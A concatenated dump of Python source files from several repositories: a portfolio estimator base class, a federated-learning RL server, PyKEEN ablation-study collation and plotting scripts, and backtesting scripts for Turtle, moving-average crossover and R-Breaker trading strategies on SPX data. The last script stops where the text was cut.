#### File: OptimalPortfolio/PortOpt/base_est.py ```python import numpy as np from numpy.core.defchararray import upper import pandas as pd from scipy.optimize import minimize import warnings from . import utility_functions as utility_functions import cvxpy as cp class BaseEstimator: def __init__(self, tickers) -> None: self.tickers = tickers def _get_logreturns(self, prices, period=1) -> pd.DataFrame: return np.log(prices.shift(-1)/prices).dropna() def _pairwise_exp_cov(self, X, Y, span=180) -> pd.DataFrame: pair_cov = (X - X.mean()) * (Y - Y.mean()) return pair_cov.ewm(span=span).mean().iloc[-1] def _cov_to_corr(self, cov): Dinv = np.diag(1 / np.sqrt(np.diag(cov))) corr = Dinv @ cov @ Dinv return corr def _corr_to_cov(self, corr, stds): return corr * np.outer(stds, stds) ```
{ "source": "jingmouren/plato-TL-System", "score": 3 }
#### File: examples/fei/fei_server.py ```python import math import numpy as np from plato.config import Config from plato.utils.reinforcement_learning import rl_server class RLServer(rl_server.RLServer): """ A federated learning server with RL Agent. """ def __init__(self, agent, model=None, algorithm=None, trainer=None): super().__init__(agent, model, algorithm, trainer) self.local_correlations = [0] * Config().clients.per_round self.last_global_grads = None self.corr = [] self.smart_weighting = [] # Overwrite RL-related methods of simple RL server def prep_state(self): """ Wrap up the state update to RL Agent. """ # Store client ids client_ids = [report.client_id for (report, __, __) in self.updates] state = [0] * 4 state[0] = self.normalize_state( [report.num_samples for (report, __, __) in self.updates]) state[1] = self.normalize_state( [report.training_time for (report, __, __) in self.updates]) state[2] = self.normalize_state( [report.valuation for (report, __, __) in self.updates]) state[3] = self.normalize_state(self.corr) state = np.transpose(np.round(np.array(state), 4)) self.agent.test_accuracy = self.accuracy return state, client_ids def apply_action(self): """ Apply action update from RL Agent to FL Env. """ self.smart_weighting = np.array(self.agent.action) def update_state(self): """ Wrap up the state update to RL Agent. """ # Pass new state to RL Agent self.agent.new_state, self.agent.client_ids = self.prep_state() self.agent.process_env_update() def extract_client_updates(self, updates): """ Extract the model weights and update directions from clients updates. """ weights_received = [payload for (__, payload, __) in updates] # Get adaptive weighting based on both node contribution and date size self.corr = self.calc_corr(weights_received) return self.algorithm.compute_weight_updates(weights_received) def calc_corr(self, updates): """ Calculate the node contribution based on the angle between local gradient and global gradient. """ correlations, contribs = [None] * len(updates), [None] * len(updates) # Update the baseline model weights curr_global_grads = self.process_grad(self.algorithm.extract_weights()) if self.last_global_grads is None: self.last_global_grads = np.zeros(len(curr_global_grads)) global_grads = np.subtract(curr_global_grads, self.last_global_grads) self.last_global_grads = curr_global_grads # Compute angles in radian between local and global gradients for i, update in enumerate(updates): local_grads = self.process_grad(update) inner = np.inner(global_grads, local_grads) norms = np.linalg.norm(global_grads) * np.linalg.norm(local_grads) correlations[i] = np.arccos(np.clip(inner / norms, -1.0, 1.0)) for i, correlation in enumerate(correlations): self.local_correlations[i] = correlation self.local_correlations[i] = ( (self.current_round - 1) / self.current_round) * self.local_correlations[i] + ( 1 / self.current_round) * correlation # Non-linear mapping to node contribution contribs[i] = Config().algorithm.alpha * ( 1 - math.exp(-math.exp(-Config().algorithm.alpha * (self.local_correlations[i] - 1)))) return contribs @staticmethod def process_grad(grads): """ Convert gradients to a flattened 1-D array. """ grads = list( dict(sorted(grads.items(), key=lambda x: x[0].lower())).values()) flattened = grads[0] for i in range(1, len(grads)): flattened = np.append(flattened, grads[i]) return flattened @staticmethod def normalize_state(feature): """Normalize/Scaling state features.""" norm = np.linalg.norm(feature) ret = [Config().algorithm.base**(x / norm) for x in feature] return ret ```
{ "source": "jingmouren/pykeen_benchmarking", "score": 2 }
#### File: pykeen_benchmarking/ablation/extend_study_json.py ```python import json import logging import os import matplotlib.pyplot as plt import numpy as np import pandas as pd from pykeen.models import models HERE = os.path.dirname(__file__) RESULTS = os.path.join(HERE, 'results') SUMMARY_DIRECTORY = os.path.join(HERE, 'summary') os.makedirs(SUMMARY_DIRECTORY, exist_ok=True) logger = logging.getLogger(__name__) GETTERS = { 'hits@10': lambda metrics: metrics['hits_at_k']['avg']['10'] } ABLATION_HEADERS = [ 'dataset', 'model', 'loss', 'optimizer', 'training_loop', ] MODEL = { 'unstructuredmodel': 'um', 'structuredembedding': 'se', } LOSS = { 'marginranking': 'mr', 'crossentropy': 'ce', } def collate(key: str): df = pd.DataFrame([ dict(searcher=searcher, **study) for model, dataset, searcher, study in iterate_studies(key=key) ]) df = df.sort_values(ABLATION_HEADERS) df.to_csv(os.path.join(SUMMARY_DIRECTORY, 'results_test_mehdi.tsv'), sep='\t', index=False) def iterate_studies(key: str): for model, dataset, d in _iter_dataset_dirs(): for searcher in os.listdir(d): searcher_d = os.path.join(d, searcher) if not os.path.isdir(searcher_d): continue for ablation in os.listdir(searcher_d): ablation_d = os.path.join(searcher_d, ablation) if not os.path.isdir(ablation_d): continue for hpo in os.listdir(ablation_d): hpo_d = os.path.join(ablation_d, hpo) if not os.path.isdir(hpo_d): continue study = get_results_from_hpo_directory(hpo_d, key=key) if study is None: continue yield model, dataset, searcher, study def get_results_from_hpo_directory(hpo_experiment_directory: str, key: str): study_path = os.path.join(hpo_experiment_directory, 'study.json') if not os.path.exists(study_path): logger.warning(f'missing study path: {hpo_experiment_directory}') return with open(study_path) as file: study = json.load(file) for _delete_key in ['metric', 'pykeen_git_hash', 'pykeen_version']: del study[_delete_key] metrics = [] replicates_directory = os.path.join(hpo_experiment_directory, 'best_pipeline', 'replicates') if not os.path.exists(replicates_directory): raise FileNotFoundError for replicate in os.listdir(replicates_directory): replicate_results_path = os.path.join(replicates_directory, replicate, 'results.json') with open(replicate_results_path) as file: replicate_results = json.load(file) metrics.append(GETTERS[key](replicate_results['metrics'])) study[key] = np.mean(metrics).round(5) study[f'{key}_std'] = np.std(metrics).round(5) return study def _iter_model_dirs(): for model in os.listdir(RESULTS): if model.startswith('_') or model.endswith('.py') or not os.path.isdir(os.path.join(RESULTS, model)): continue if model not in models: raise KeyError(f'invalid model name: {model}') assert model in models, f'{model} not found' yield model, os.path.join(RESULTS, model) def _iter_dataset_dirs(): for model, d in _iter_model_dirs(): for dataset in os.listdir(d): dataset_d = os.path.join(d, dataset) if not os.path.isdir(dataset_d): continue yield model, dataset, dataset_d def add_inverse_triples_info(): for model, dataset, d in _iter_dataset_dirs(): for searcher in os.listdir(d): searcher_d = os.path.join(d, searcher) if not os.path.isdir(searcher_d): continue for ablation in os.listdir(searcher_d): ablation_d = os.path.join(searcher_d, ablation) if not os.path.isdir(ablation_d): continue for hpo in os.listdir(ablation_d): hpo_d = os.path.join(ablation_d, hpo) if not os.path.isdir(hpo_d): continue study_path = os.path.join(hpo_d, 'study.json') if not os.path.exists(study_path): logger.warning(f'missing study path: {hpo_d}') continue with open(study_path) as file: study = json.load(file) hpo_config_path = os.path.join(hpo_d, 'hpo_config.json') if not os.path.exists(hpo_config_path): logger.warning(f'missing hpo config path: {hpo_config_path}') continue with open(hpo_config_path) as file: hpo_config = json.load(file) try: add_inverse_triples = hpo_config['pipeline']['dataset_kwargs']['create_inverse_triples'] except: raise Exception(f'create_inverse_triples not in hpo config {hpo_config_path}') study['create_inverse_triples'] = add_inverse_triples with open(os.path.join(study_path), 'w') as file: json.dump(study, file, indent=2) def create_plots(target_header): df = pd.read_csv(os.path.join(SUMMARY_DIRECTORY, 'results_test_mehdi.tsv'), sep='\t') df['model'] = df['model'].map(lambda l: MODEL.get(l, l)) df['loss'] = df['loss'].map(lambda l: LOSS.get(l, l)) slice_dir = os.path.join(SUMMARY_DIRECTORY, '1D-slices_mehdi') os.makedirs(slice_dir, exist_ok=True) models = df['model'].unique() datasets = df['dataset'].unique() for dataset in datasets: # Get subframe for dataset subframe = df[df['dataset'] == dataset] models = subframe['model'].unique() num_models = len(models) num_rows = (num_models // 2) dif = num_models - (2 * num_rows) num_rows += dif i = 0 fig, axes = plt.subplots(num_rows, 2, figsize=(14, 10)) axes = axes.ravel() for model in subframe.groupby(['model']): y = model[1][target_header] x = np.arange(0, len(y)) error = model[1][f'{target_header}_std'] axes[i].errorbar(x, y, error, linestyle='None', marker='^') i +=1 plt.savefig(os.path.join(slice_dir, f'{dataset}_all_models.png')) plt.close(fig) def main(): key = 'hits@10' # collate(key=key) create_plots(target_header=key) if __name__ == '__main__': main() ``` #### File: pykeen_benchmarking/ablation/summary_tables.py ```python import pandas as pd from tabulate import tabulate from collate import collate_hpo_experiments, read_collation def main(): hpo_df = collate_hpo_experiments() elapsed = pd.to_datetime(hpo_df['datetime_complete']) - pd.to_datetime(hpo_df['datetime_start']) total_elapsed = elapsed.sum() total_hours = round(total_elapsed / pd.Timedelta('1 hour')) best_replicates_df = read_collation() total_training_time = best_replicates_df['training_time'].sum() total_evaluation_time = best_replicates_df['evaluation_time'].sum() total_replicates_time = pd.Timedelta(seconds=total_training_time + total_evaluation_time) replicates_hours = round(total_replicates_time / pd.Timedelta('1 hour')) columns = [ 'searcher', 'dataset', 'inverse_relations', 'model', 'loss', 'regularizer', 'optimizer', 'training_approach', 'negative_sampler', ] configurations = len(best_replicates_df[columns].drop_duplicates().index) sdf = best_replicates_df[columns].nunique().reset_index() rows = [ (k.replace('_', ' ').title() + 's', v) for k, v in sdf.values if v > 1 and k != 'inverse_relations' ] rows.extend([ ('HPO Configurations', configurations), ('HPO Experiments', len(hpo_df.index)), ('HPO Compute Hours', total_hours), ('Replicate Experiments', len(best_replicates_df.index)), ('Replicate Compute Hours', replicates_hours), ]) print(tabulate(rows, headers=['header', 'count'], tablefmt='github')) if __name__ == '__main__': main() ```
{ "source": "jingmouren/QuantResearch", "score": 3 }
#### File: backtest/bt/turtle.py ```python import os import numpy as np import pandas as pd from datetime import datetime import backtrader as bt from IPython.core.display import display, HTML # set browser full width display(HTML("<style>.container { width:100% !important; }</style>")) class Turtle(bt.Strategy): params = ( ('long_window', 20), ('short_window', 10), ('printlog', False), # comma is required ) def __init__(self): self.order = None self.buyprice = 0.0 self.buycomm = 0.0 self.bar_executed = 0 self.val_start = 0.0 self.buy_count = 0 self.don_high = bt.indicators.Highest(self.data.high(-1), period=self.params.long_window) self.don_low = bt.indicators.Lowest(self.data.low(-1), period=self.params.short_window) # https://en.wikipedia.org/wiki/Average_true_range self.TR = bt.indicators.Max((self.data.high(0) - self.data.low(0)), \ abs(self.data.close(-1) - self.data.high(0)), \ abs(self.data.close(-1) - self.data.low(0))) self.ATR = bt.indicators.SimpleMovingAverage(self.TR, period=14) self.buy_signal = bt.ind.CrossOver(self.data.close(0), self.don_high) self.sell_signal = bt.ind.CrossOver(self.data.close(0), self.don_low) def log(self, txt, dt=None, doprint=False): ''' Logging function fot this strategy''' if self.params.printlog or doprint: dt = dt or self.datas[0].datetime.date(0) print('%s, %s' % (dt.isoformat(), txt)) def start(self): self.val_start = self.broker.get_cash() # keep the starting cash def notify_trade(self, trade): if not trade.isclosed: return self.log('OPERATION PROFIT, GROSS %.2f, NET %.2f' % (trade.pnl, trade.pnlcomm)) def notify_order(self, order): if order.status in [order.Submitted, order.Accepted]: # Buy/Sell order submitted/accepted to/by broker - Nothing to do return # Check if an order has been completed # Attention: broker could reject order if not enough cash if order.status in [order.Completed]: # order.Partial if order.isbuy(): self.log( 'BUY EXECUTED, Price: %.2f, Size: %.0f, Cost: %.2f, Comm %.2f, RemSize: %.0f, RemCash: %.2f' % (order.executed.price, order.executed.size, order.executed.value, order.executed.comm, order.executed.remsize, self.broker.get_cash())) self.buyprice = order.executed.price self.buycomm = order.executed.comm else: # Sell self.log('SELL EXECUTED, Price: %.2f, Size: %.0f, Cost: %.2f, Comm %.2f, RemSize: %.0f, RemCash: %.2f' % (order.executed.price, order.executed.size, order.executed.value, order.executed.comm, order.executed.remsize, self.broker.get_cash())) self.bar_executed = len(self) elif order.status in [order.Canceled, order.Expired, order.Margin, order.Rejected]: self.log('Order Failed') self.order = None def next(self): # Simply log the closing price of the series from the reference # self.log('Close, %.2f' % self.data.close[0]) if self.order: return # Long if self.buy_signal > 0 and self.buy_count == 0: # one unit is 1% of total risk asset target_size = int(self.broker.getvalue() * 0.01 / self.ATR[0]) self.order = self.order_target_size(target=target_size) self.log(f'LONG ORDER SENT, price: {self.data.close[0]:.2f}, don_high: {self.don_high[0]:.2f}') self.buy_count = 1 # add; This is for futures; may go beyond notional; leverage is set to 4 elif self.data.close > self.buyprice + 0.5 * self.ATR[0] and self.buy_count > 0 and self.buy_count <= 3: target_size = int(self.broker.getvalue() * 0.01 / self.ATR[0]) target_size += self.getposition(self.datas[0]).size # on top of current size self.order = self.order_target_size(target=target_size) self.log(f'ADD LONG ORDER SENT, add time: {self.buy_count}, price: {self.data.close[0]:.2f}, don_high: {self.don_high[0]:.2f}') self.buy_count += 1 # flat elif self.sell_signal < 0 and self.buy_count > 0: self.order = self.order_target_size(target=0) self.log(f'FLAT ORDER SENT, price: {self.data.close[0]:.2f}, don_low: {self.don_low[0]:.2f}') self.buy_count = 0 # flat, stop loss elif self.data.close < (self.buyprice - 2 * self.ATR[0]) and self.buy_count > 0: self.order = self.order_target_size(target=0) self.log(f'FLAT ORDER SENT, price: {self.data.close[0]:.2f}, {self.buyprice:.2f}, 2ATR: {2 * self.ATR[0]:.2f}') self.buy_count = 0 def stop(self): # calculate the actual returns print(self.analyzers) roi = (self.broker.get_value() / self.val_start) - 1.0 self.log('ROI: {:.2f}%'.format(100.0 * roi)) self.log('(Turtle Ending Value %.2f' % self.broker.getvalue(), doprint=True) if __name__ == '__main__': param_opt = False perf_eval = True benchmark = 'SPX' cerebro = bt.Cerebro() datapath = os.path.join('../data/', 'SPX.csv') # Create a Data Feed data = bt.feeds.YahooFinanceCSVData( dataname=datapath, fromdate=datetime(2010, 1, 1), todate=datetime(2019, 12, 31), reverse=False) # Add the Data Feed to Cerebro cerebro.adddata(data) # Set our desired cash start cerebro.broker.setcash(100000.0) # Add a FixedSize sizer according to the stake # cerebro.addsizer(bt.sizers.FixedSize, stake=10) # PercentSizer will flat position first; overwrite if not desired. # cerebro.addsizer(bt.sizers.PercentSizerInt, percents=95) # Set the commission - 0.1% ... divide by 100 to remove the % cerebro.broker.setcommission(commission=0.001, leverage=10) # Print out the starting conditions print('Starting Portfolio Value: %.2f' % cerebro.broker.getvalue()) # Add a strategy cerebro.addstrategy(Turtle, printlog=True) # Add Analyzer cerebro.addanalyzer(bt.analyzers.SharpeRatio, _name='SharpeRatio') cerebro.addanalyzer(bt.analyzers.DrawDown, _name='DrawDown') cerebro.addanalyzer(bt.analyzers.PyFolio, _name='pyfolio') # Run over everything results = cerebro.run() # Print out the final result strat = results[0] print('Final Portfolio Value: %.2f, Sharpe Ratio: %.2f, DrawDown: %.2f, MoneyDown %.2f' % (cerebro.broker.getvalue(), strat.analyzers.SharpeRatio.get_analysis()['sharperatio'], strat.analyzers.DrawDown.get_analysis()['drawdown'], strat.analyzers.DrawDown.get_analysis()['moneydown'])) if perf_eval: import matplotlib.pyplot as plt cerebro.plot(style='candlestick') plt.show() pyfoliozer = strat.analyzers.getbyname('pyfolio') returns, positions, transactions, gross_lev = pyfoliozer.get_pf_items() print('-------------- RETURNS ----------------') print(returns) print('-------------- POSITIONS ----------------') print(positions) print('-------------- TRANSACTIONS ----------------') print(transactions) print('-------------- GROSS LEVERAGE ----------------') print(gross_lev) import empyrical as ep import pyfolio as pf bm_ret = None if benchmark: datapath = os.path.join('../data/', f'{benchmark}.csv') bm = pd.read_csv(datapath, index_col=0) bm_ret = bm['Adj Close'].pct_change().dropna() bm_ret.index = pd.to_datetime(bm_ret.index) # remove tzinfo returns.index = returns.index.tz_localize(None) bm_ret = bm_ret[returns.index] bm_ret.name = 'benchmark' perf_stats_strat = pf.timeseries.perf_stats(returns) perf_stats_all = perf_stats_strat if benchmark: perf_stats_bm = pf.timeseries.perf_stats(bm_ret) perf_stats_all = pd.concat([perf_stats_strat, perf_stats_bm], axis=1) perf_stats_all.columns = ['Strategy', 'Benchmark'] drawdown_table = pf.timeseries.gen_drawdown_table(returns, 5) monthly_ret_table = ep.aggregate_returns(returns, 'monthly') monthly_ret_table = monthly_ret_table.unstack().round(3) ann_ret_df = pd.DataFrame(ep.aggregate_returns(returns, 'yearly')) ann_ret_df = ann_ret_df.unstack().round(3) print('-------------- PERFORMANCE ----------------') print(perf_stats_all) print('-------------- DRAWDOWN ----------------') print(drawdown_table) print('-------------- MONTHLY RETURN ----------------') print(monthly_ret_table) print('-------------- ANNUAL RETURN ----------------') print(ann_ret_df) pf.create_full_tear_sheet( returns, benchmark_rets=bm_ret if benchmark else None, positions=positions, transactions=transactions, #live_start_date='2005-05-01', round_trips=False) plt.show() ``` #### File: QuantResearch/backtest/ma_cross.py ```python import os import numpy as np import pandas as pd import pytz from datetime import datetime, timezone import multiprocessing import quanttrader as qt import matplotlib.pyplot as plt import empyrical as ep """ To use pyfolio 0.9.2 1. line 893 in pyfolio/timeseries.py from: valley = np.argmin(underwater) # end of the period to valley = underwater.idxmin() # end of the period 2. line 133 and 137 in pyfolio/round_trips.py: groupby uses list not tuple. ['block_dir', 'block_time'] 3. line 77 in pyfolio/roud_trips.py: doesn't support agg(stats_dict) and rename_axis ==> rename ss = round_trips.assign(ones=1).groupby('ones')[col].agg(list(stats_dict.values())) ss.columns = list(stats_dict.keys()) stats_all = (ss.T.rename({1.0: 'All trades'}, axis='columns')) 4. line 385, same for RETURN_STATS as in 3 5. utils print_table, add print(table) to use outside jupyter 6. line 269 in round_trips.py, remove x.replace(hour=0, minute=0, second=0) 7. line 778 in tears.py, add general exception to catch intraday no daily 8. line 892 in tears.py, return trades """ import pyfolio as pf pd.set_option('display.max_columns', None) # set browser full width from IPython.core.display import display, HTML display(HTML("<style>.container { width:100% !important; }</style>")) class MACross(qt.StrategyBase): def __init__(self, lookback=20 ): super(MACross, self).__init__() self.lookback = lookback self.current_time = None self.current_position = 0 def on_tick(self, tick_event): self.current_time = tick_event.timestamp # print('Processing {}'.format(self.current_time)) symbol = self.symbols[0] df_hist = self._data_board.get_hist_price(symbol, tick_event.timestamp) current_price = df_hist.iloc[-1].Close # wait for enough bars if df_hist.shape[0] < self.lookback: return # Calculate the simple moving averages sma = np.mean(df_hist['Close'][-self.lookback:]) # Trading signals based on moving average cross if current_price > sma and self.current_position <= 0: target_size = int((self._position_manager.cash + self.current_position * df_hist['Close'].iloc[-1])/df_hist['Close'].iloc[-1]) # buy to notional self.adjust_position(symbol, size_from=self.current_position, size_to=target_size, timestamp=self.current_time) print("Long: %s, sma %s, price %s, trade %s, new position %s" % (self.current_time, str(sma), str(current_price), str(target_size-self.current_position), str(target_size))) self.current_position = target_size elif current_price < sma and self.current_position >= 0: target_size = int((self._position_manager.cash + self.current_position * df_hist['Close'].iloc[-1])/df_hist['Close'].iloc[-1])*(-1) # sell to notional self.adjust_position(symbol, size_from=self.current_position, size_to=target_size, timestamp=self.current_time) print("Short: %s, sma %s, price %s, trade %s, new position %s" % (self.current_time, str(sma), str(current_price), str(target_size-self.current_position), str(target_size))) self.current_position = target_size def parameter_search(engine, tag, target_name, return_dict): """ This function should be the same for all strategies. The only reason not included in quanttrader is because of its dependency on pyfolio (to get perf_stats) """ ds_equity, _, _ = engine.run() try: strat_ret = ds_equity.pct_change().dropna() perf_stats_strat = pf.timeseries.perf_stats(strat_ret) target_value = perf_stats_strat.loc[target_name] # first table in tuple except KeyError: target_value = 0 return_dict[tag] = target_value if __name__ == '__main__': do_optimize = False run_in_jupyter = False is_intraday = False symbol = 'SPX' benchmark = 'SPX' init_capital = 100_000.0 if not is_intraday: test_start_date = datetime(2010, 1, 1, 8, 30, 0, 0, pytz.timezone('America/New_York')) test_end_date = datetime(2019, 12, 31, 6, 0, 0, 0, pytz.timezone('America/New_York')) datapath = os.path.join('../data/', f'{symbol}.csv') data = qt.util.read_ohlcv_csv(datapath) else: import pickle # it seems initialize timezone doesn't work eastern = pytz.timezone('US/Eastern') test_start_date = eastern.localize(datetime(2020, 8, 10, 9, 30, 0)) test_end_date = eastern.localize(datetime(2020, 8, 10, 10, 0, 0)) dict_hist_data = qt.util.read_intraday_bar_pickle('../data/tick/20200810.pkl', ['ESU0 FUT GLOBEX']) data = dict_hist_data['ESU0 FUT GLOBEX'] data = data[(data.index >= test_start_date) & (data.index <= test_end_date)] data2 = data.copy() data2.index = data2.index.shift(1, freq='D') data = pd.concat([data, data2], axis=0) test_end_date = eastern.localize(datetime(2020, 8, 11, 10, 0, 0)) dict_hist_data = qt.util.read_tick_data_txt('d:/workspace/quanttrader/examples/tick/20200824.txt') data = dict_hist_data[' ESU0 FUT GLOBEX'] data['Close'] = data['Price'] test_start_date = eastern.localize(datetime(2020, 8, 24, 22, 0, 0)) test_end_date = eastern.localize(datetime(2020, 8, 24, 22, 30, 0)) if do_optimize: # parallel parameter search params_list = [] for lk in [10, 20, 30, 50, 100, 200]: params_list.append({'lookback': lk}) target_name = 'Sharpe ratio' manager = multiprocessing.Manager() return_dict = manager.dict() jobs = [] for params in params_list: strategy = MACross() strategy.set_capital(init_capital) strategy.set_symbols([symbol]) backtest_engine = qt.BacktestEngine(test_start_date, test_end_date) backtest_engine.set_capital(init_capital) # capital or portfolio >= capital for one strategy backtest_engine.add_data(symbol, data.copy()) strategy.set_params({'lookback': params['lookback']}) backtest_engine.set_strategy(strategy) tag = (params['lookback']) print(params) parameter_search(backtest_engine, tag, target_name, return_dict) # p = multiprocessing.Process(target=parameter_search, args=(backtest_engine, tag, target_name, return_dict)) # jobs.append(p) # p.start() # # for proc in jobs: # proc.join() for k,v in return_dict.items(): print(k, v) else: strategy = MACross() strategy.set_capital(init_capital) strategy.set_symbols([symbol]) strategy.set_params({'lookback':20}) # Create a Data Feed backtest_engine = qt.BacktestEngine(test_start_date, test_end_date) backtest_engine.set_capital(init_capital) # capital or portfolio >= capital for one strategy backtest_engine.add_data(symbol, data) backtest_engine.set_strategy(strategy) ds_equity, df_positions, df_trades = backtest_engine.run() # save to excel qt.util.save_one_run_results('./output', ds_equity, df_positions, df_trades) # ------------------------- Evaluation and Plotting -------------------------------------- # strat_ret = ds_equity.pct_change().dropna() strat_ret.name = 'strat' if not is_intraday: bm = qt.util.read_ohlcv_csv(os.path.join('../data/', f'{benchmark}.csv')) else: bm = data # buy and hold bm_ret = bm['Close'].pct_change().dropna() bm_ret.index = pd.to_datetime(bm_ret.index) bm_ret = bm_ret[strat_ret.index] bm_ret.name = 'benchmark' perf_stats_strat = pf.timeseries.perf_stats(strat_ret) perf_stats_all = perf_stats_strat perf_stats_bm = pf.timeseries.perf_stats(bm_ret) perf_stats_all = pd.concat([perf_stats_strat, perf_stats_bm], axis=1) perf_stats_all.columns = ['Strategy', 'Benchmark'] drawdown_table = pf.timeseries.gen_drawdown_table(strat_ret, 5) monthly_ret_table = ep.aggregate_returns(strat_ret, 'monthly') monthly_ret_table = monthly_ret_table.unstack().round(3) ann_ret_df = pd.DataFrame(ep.aggregate_returns(strat_ret, 'yearly')) ann_ret_df = ann_ret_df.unstack().round(3) print('-------------- PERFORMANCE ----------------') print(perf_stats_all) print('-------------- DRAWDOWN ----------------') print(drawdown_table) print('-------------- MONTHLY RETURN ----------------') print(monthly_ret_table) print('-------------- ANNUAL RETURN ----------------') print(ann_ret_df) if run_in_jupyter: pf.create_full_tear_sheet( strat_ret, benchmark_rets=bm_ret, positions=df_positions, transactions=df_trades, round_trips=False) plt.show() else: pf.plotting.show_perf_stats( strat_ret, bm_ret, positions=df_positions, transactions=df_trades) pf.plotting.show_worst_drawdown_periods(strat_ret) pf.plot_perf_stats(strat_ret, bm_ret) plt.show() pf.plotting.plot_returns(strat_ret) plt.show() f1 = plt.figure(1) pf.plot_rolling_returns(strat_ret, factor_returns=bm_ret) f1.show() f2 = plt.figure(2) pf.plot_rolling_volatility(strat_ret, factor_returns=bm_ret) f2.show() f3 = plt.figure(3) pf.plot_rolling_sharpe(strat_ret) f3.show() f4 = plt.figure(4) pf.plot_drawdown_periods(strat_ret) f4.show() f5 = plt.figure(5) pf.plot_monthly_returns_heatmap(strat_ret) f5.show() f6 = plt.figure(6) pf.plot_annual_returns(strat_ret) f6.show() f7 = plt.figure(7) pf.plot_monthly_returns_dist(strat_ret) plt.show() f8 = plt.figure(8) pf.create_interesting_times_tear_sheet(strat_ret, benchmark_rets=bm_ret) plt.show() f9 = plt.figure(9) pf.create_position_tear_sheet(strat_ret, df_positions) # plt.show() f10 = plt.figure(10) pf.create_txn_tear_sheet(strat_ret, df_positions, df_trades) # plt.show() f11 = plt.figure(11) trades_details = pf.create_round_trip_tear_sheet(strat_ret, df_positions, df_trades) plt.show() print(trades_details) trades_details.to_csv('{}{}{}'.format('./output', '/trades_details_', '.csv')) # data.to_csv('{}{}{}'.format('./output', '/data_', '.csv')) ``` #### File: QuantResearch/backtest/r_breaker.py ```python import os import numpy as np import pandas as pd import pytz from datetime import datetime, timezone import multiprocessing import talib import quanttrader as qt import matplotlib.pyplot as plt import empyrical as ep import pyfolio as pf # set browser full width from IPython.core.display import display, HTML display(HTML("<style>.container { width:100% !important; }</style>")) class RBreaker(qt.StrategyBase): def __init__(self): super(RBreaker, self).__init__() self.price_entered = 0.0 self.stop_loss_price = 10 self.current_time = None def on_tick(self, tick_event): self.current_time = tick_event.timestamp # print('Processing {}'.format(self.current_time)) symbol = self.symbols[0] df_hist = self._data_board.get_hist_price(symbol, tick_event.timestamp) # need yesterday's prices if df_hist.shape[0] <= 1: return yesterday_open = df_hist.iloc[-2].Open yesterday_high = df_hist.iloc[-2].High yesterday_low = df_hist.iloc[-2].Low yesterday_close = df_hist.iloc[-2].Close # center or middle price pivot = (yesterday_high + yesterday_close + yesterday_low) / 3 # pivot point # r3 > r2 > r1 r1 = 2 * pivot - yesterday_low # Resistance Level 1; Reverse Selling price r2 = pivot + (yesterday_high - yesterday_low) # Resistance Level 2; setup; Observed Sell Price r3 = yesterday_high + 2 * (pivot - yesterday_low) # Resistance Level 3; break through buy # s1 > s2 > s3 s1 = 2 * pivot - yesterday_high # Support 1; reverse buying s2 = pivot - (yesterday_high - yesterday_low) # Support Position 2; setup; Observed Buy Price s3 = yesterday_low - 2 * (yesterday_high - pivot) # Support 3; break through sell today_high = df_hist.iloc[-1].High today_low = df_hist.iloc[-1].Low current_price = df_hist.iloc[-1].Close current_size = self._position_manager.get_position_size(symbol) npv = self._position_manager.current_total_capital if current_size == 0: # If no position if current_price > r3: # If the current price breaks through resistance level 3/highest, go long target_size = int(npv / current_price) self.adjust_position(symbol, size_from=current_size, size_to=target_size, timestamp=self.current_time) print(f'BUY ORDER SENT, price: {current_price:.2f}, r1 {r1:.2f}, r2 {r2:.2f} r3 {r3:.2f}, s1 {s1:.2f} s2 {s2:.2f}, s3 {s3:.2f} size: {target_size}') if current_price < s3: # If the current price break-through support level 3/lowest, go short target_size = -int(npv / current_price) self.adjust_position(symbol, size_from=current_size, size_to=target_size, timestamp=self.current_time) print(f'SELL ORDER SENT, price: {current_price:.2f}, r1 {r1:.2f}, r2 {r2:.2f} r3 {r3:.2f}, s1 {s1:.2f} s2 {s2:.2f}, s3 {s3:.2f} size: {target_size}') elif current_size > 0: if (today_high > r2 and current_price < r1) or current_price < s3: # price reverses. flip from long to short target_size = -int(npv / current_price) self.adjust_position(symbol, size_from=current_size, size_to=target_size, timestamp=self.current_time) print(f'FLIP TO SHORT ORDER SENT, price: {current_price:.2f}, r1 {r1:.2f}, r2 {r2:.2f} r3 {r3:.2f}, s1 {s1:.2f} s2 {s2:.2f}, s3 {s3:.2f} size: {target_size}') elif current_size < 0: if (today_low < s2 and current_price > s1) or current_price > r3: # price reverses, flip from short to long target_size = int(npv / current_price * 0.95) self.adjust_position(symbol, size_from=current_size, size_to=target_size, timestamp=self.current_time) print(f'FLIP TO LONG ORDER SENT, price: {current_price:.2f}, r1 {r1:.2f}, r2 {r2:.2f} r3 {r3:.2f}, s1 {s1:.2f} s2 {s2:.2f}, s3 {s3:.2f} size: {target_size}') def parameter_search(engine, tag, target_name, return_dict): """ This function should be the same for all strategies. The only reason not included in quanttrader is because of its dependency on pyfolio (to get perf_stats) """ ds_equity, _, _ = engine.run() try: strat_ret = ds_equity.pct_change().dropna() perf_stats_strat = pf.timeseries.perf_stats(strat_ret) target_value = perf_stats_strat.loc[target_name] # first table in tuple except KeyError: target_value = 0 return_dict[tag] = target_value if __name__ == '__main__': do_optimize = False run_in_jupyter = False symbol = 'SPX' benchmark = 'SPX' datapath = os.path.join('../data/', f'{symbol}.csv') data = qt.util.read_ohlcv_csv(datapath) init_capital = 100_000.0 test_start_date = datetime(2010,1,1, 8, 30, 0, 0, pytz.timezone('America/New_York')) test_end_date = datetime(2019,12,31, 6, 0, 0, 0, pytz.timezone('America/New_York')) if do_optimize: # parallel parameter search pass else: strategy = RBreaker() strategy.set_capital(init_capital) strategy.set_symbols([symbol]) # strategy.set_params(None) # Create a Data Feed backtest_engine = qt.BacktestEngine(test_start_date, test_end_date) backtest_engine.set_capital(init_capital) # capital or portfolio >= capital for one strategy backtest_engine.add_data(symbol, data) backtest_engine.set_strategy(strategy) ds_equity, df_positions, df_trades = backtest_engine.run() # save to excel qt.util.save_one_run_results('./output', ds_equity, df_positions, df_trades) # ------------------------- Evaluation and Plotting -------------------------------------- # strat_ret = ds_equity.pct_change().dropna() strat_ret.name = 'strat' bm = qt.util.read_ohlcv_csv(os.path.join('../data/', f'{benchmark}.csv')) bm_ret = bm['Close'].pct_change().dropna() bm_ret.index = pd.to_datetime(bm_ret.index) bm_ret = bm_ret[strat_ret.index] bm_ret.name = 'benchmark' perf_stats_strat = pf.timeseries.perf_stats(strat_ret) perf_stats_all = perf_stats_strat perf_stats_bm = pf.timeseries.perf_stats(bm_ret) perf_stats_all = pd.concat([perf_stats_strat, perf_stats_bm], axis=1) perf_stats_all.columns = ['Strategy', 'Benchmark'] drawdown_table = 